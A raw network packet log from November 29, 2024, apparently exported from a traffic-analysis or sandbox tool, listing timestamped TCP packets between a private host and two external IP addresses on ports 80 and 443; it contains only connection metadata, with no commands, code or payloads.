Nov 29, 2024 19:49:45.199928999 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.200865984 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.200916052 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.200978994 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.201031923 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.202128887 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.202183962 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.202241898 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.202294111 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.203154087 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.203201056 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.203301907 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.203356028 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.204288960 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.204344988 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.204351902 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.204392910 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.205476999 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.205527067 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.205549955 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.205590963 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.206607103 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.206655979 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.206741095 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.206789017 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.207705021 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.207756996 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.207828045 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.207879066 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.208841085 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.208890915 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.208942890 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.208988905 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.209974051 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.210026979 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.210098028 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.210145950 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.211116076 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.211165905 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.211285114 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.211332083 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.212243080 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.212291002 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.212292910 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.212331057 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.213395119 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.213465929 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.213495970 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.213541985 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.214533091 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.214579105 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.214636087 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.214683056 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.215720892 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.215770006 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.215806007 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.215850115 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.216813087 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.216864109 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.216917038 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.216964006 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.217957020 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.218007088 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.218089104 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.218136072 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.219084978 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.219139099 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.219193935 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.219242096 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.220197916 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.220248938 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.220308065 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.220354080 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.221358061 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.221417904 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.221470118 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.221515894 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.322791100 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.322886944 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.323050022 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.323050976 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.323324919 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.323378086 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.323381901 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.323426962 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.324207067 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.324259996 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.324381113 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.324429035 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.325371027 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.325417042 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.325592995 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.325639009 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.326533079 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.326581955 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.326646090 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.326692104 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.327685118 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.327738047 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.327739954 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.327783108 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.328766108 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.328816891 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.328836918 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.328876972 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.329770088 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.329819918 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.329847097 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.329889059 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.330885887 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.330935955 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.330969095 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.331016064 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.332050085 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.332093954 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.332117081 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.332129955 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.333192110 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.333268881 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.333287954 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.333323956 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.334326982 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.334381104 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.334412098 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.334454060 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.335431099 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.335484982 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.335517883 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.335556030 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.336530924 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.336592913 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.336669922 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.336716890 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.337739944 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.337795973 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.337829113 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.337872028 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.338893890 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.338952065 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.339026928 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.339070082 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.339999914 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.340053082 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.340080023 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.340122938 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.341217995 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.341273069 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.341295004 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.341337919 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.342226982 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.342291117 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.342353106 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.342403889 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.343442917 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.343492031 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.343516111 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.343559027 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.344554901 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.344603062 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.344675064 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.344738960 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.345736980 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.345783949 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.345840931 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.346194029 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.346812963 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.346858978 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.346905947 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.346951008 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.347980976 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.347999096 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.348028898 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.348046064 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.352682114 CET	443	49787	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:45.353724003 CET	49787	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:45.353744030 CET	443	49787	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:45.354398012 CET	49787	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:45.354403973 CET	443	49787	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:45.390319109 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.390377045 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.390383005 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.390424013 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.390825987 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.390875101 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.391045094 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.391094923 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.391993999 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.392045975 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.392060041 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.392102003 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.393085957 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.393131971 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.393201113 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.393246889 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.394280910 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.394386053 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.394515991 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.394562006 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.395339966 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.395391941 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.395447969 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.395488977 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.396483898 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.396538973 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.396871090 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.396924973 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.397672892 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.397732973 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.397886038 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.397941113 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.398974895 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.399029970 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.399357080 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.399408102 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.400255919 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.400309086 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.400331974 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.400372028 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.401246071 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.401299953 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.401307106 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.401341915 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.402168036 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.402216911 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.402239084 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.402280092 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.403357983 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.403407097 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.403439999 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.403480053 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.404453993 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.404508114 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.404521942 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.404552937 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.405570984 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.405625105 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.405714035 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.405761957 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.406708956 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.406764984 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.406817913 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.406862974 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.407918930 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.407970905 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.407998085 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.408037901 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.409071922 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.409140110 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.409194946 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.409248114 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.410151005 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.410200119 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.410361052 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.410408974 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.411345005 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.411397934 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.411407948 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.411449909 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.412425041 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.412467003 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.412472010 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.412512064 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.413583994 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.413666964 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.413759947 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.413759947 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.414679050 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.414727926 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.414825916 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.414874077 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.415889025 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.415935040 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.416064978 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.416107893 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.417427063 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.417478085 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.417510986 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.417560101 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.418299913 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.418346882 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.418379068 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.418418884 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.419300079 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.419354916 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.419354916 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.419394970 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.420397997 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.420454979 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.420455933 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.420732021 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.421607971 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.421659946 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.421725988 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.421785116 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.422652006 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.422698975 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.422719002 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.422760963 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.437099934 CET	443	49786	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:45.437160015 CET	443	49786	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:45.437304020 CET	49786	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:45.437503099 CET	49786	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:45.437503099 CET	49786	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:45.437532902 CET	443	49786	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:45.437545061 CET	443	49786	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:45.447197914 CET	49791	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:45.447217941 CET	443	49791	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:45.447304964 CET	49791	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:45.447472095 CET	49791	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:45.447488070 CET	443	49791	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:45.524266958 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.524293900 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.524334908 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.524360895 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.524827003 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.524955034 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.525047064 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.525096893 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.525943995 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.526009083 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.526025057 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.526061058 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.527091980 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.527147055 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.527199984 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.527246952 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.528213978 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.528268099 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.528304100 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.528350115 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.529371023 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.529421091 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.529431105 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.529469013 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.530508041 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.530563116 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.530591965 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.530639887 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.531223059 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.531274080 CET	80	49772	185.215.113.206	192.168.2.5
